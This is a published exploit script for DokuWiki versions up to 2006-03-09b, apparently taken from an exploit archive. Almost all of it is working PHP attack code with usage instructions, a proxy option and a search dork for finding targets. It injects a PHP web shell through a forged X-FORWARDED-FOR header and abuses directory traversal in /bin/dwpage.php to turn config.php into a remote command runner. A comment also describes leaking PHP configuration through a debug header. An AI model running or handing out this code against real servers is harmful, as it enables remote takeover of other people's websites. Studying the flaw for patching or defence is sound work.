DokuWiki <= 2006-03-09brel /bin/dwpage.php remote commands execution

2006.09.12
Credit: rgod
Risk: High
Local: No
Remote: Yes
CWE: N/A

#!/usr/bin/php -q -d short_open_tag=on <? print_r(' ------------------------------------------------------------------------ -------- DokuWiki <= 2006-03-09b release /bin/dwpage.php remote commands execution xploit by rgod rgod (at) autistici (dot) org [email concealed] site: http://retrogod.altervista.org dork: "Driven by DokuWiki" ------------------------------------------------------------------------ -------- '); /* works with register_argc_argv = On */ if ($argc<4) { print_r(' ------------------------------------------------------------------------ -------- Usage: php '.$argv[0].' host path cmd OPTIONS host: target server (ip/hostname) path: path to dokuwiki cmd: a shell command Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: php '.$argv[0].' localhost /wiki/ ls -la -P1.1.1.1:80 php '.$argv[0].' localhost /wiki/ ls -la -p81 ------------------------------------------------------------------------ -------- '); die; } /* software site: http://wiki.splitbrain.org/wiki:dokuwiki there are some shell scripts in /bin folder and there is no .htaccess to protect it: most dangerous one is dwpage.php, if register_argc_argv = On it allows to copy/move files among folders because of $TARGET_FN var directory traversal, also you can inject a shell by main doku.php script sending a malicious X-FORWARDED-FOR http header (but you could do the same uploading some file in /data/media folder through /lib/exe/media.php..., I choosed the first solution) also, I noticed, you can disclose php configuration by setting an http header like this calling the main doku.php script: X-DOKUWIKI-DO: debug (debug feature is enabled by default...) */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";} } return $exa."rn".$result; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "rn".$html; } $host=$argv[1]; $path=$argv[2]; $cmd=""; $port=80; $proxy=""; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} //create /data/pages/suntzu.txt.lock and inject the shell code $data="do=edit&rev=&id=suntzu"; $packet="POST ".$p."doku.php HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="X-FORWARDED-FOR: <?php set_time_limit(0);echo 'my_delim';passthru($_SERVER['HTTP_CLIENT_IP']);die;?>rn"; $packet.="Content-Type: application/x-www-form-urlencodedrn"; $packet.="Content-Length: ".strlen($data)."rn"; $packet.="Connection: Closernrn"; $packet.=$data; sendpacketii($packet); sleep(1); //copy /data/pages/suntzu.txt.lock to /data/pages/wiki/suntzu.txt $packet="GET ".$p."bin/dwpage.php?-m+"suntzu"+commit+../data/pages/suntzu.txt.lock+ wiki:suntzu HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Connection: Closernrn"; sendpacketii($packet); sleep(1); //copy /data/pages/wiki/suntzu.txt to config.php inside main folder $packet="GET ".$p."bin/dwpage.php?-m+"suntzu"+checkout+wiki:suntzu+../config.php HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Connection: Closernrn"; sendpacketii($packet); sleep(1); //launch commands... $packet="GET ".$p."config.php HTTP/1.0rn"; $packet.="CLIENT-IP: $cmdrn"; $packet.="Host: ".$host."rn"; $packet.="Connection: Closernrn"; sendpacketii($packet); if (strstr($html,"my_delim")){echo "exploit succeeded...rn";$temp=explode("my_delim",$html);die($temp[1]);} else { echo "exploit failed...rn";} ?> original url: http://retrogod.altervista.org/dokuwiki_2006-03-09b_cmd.html


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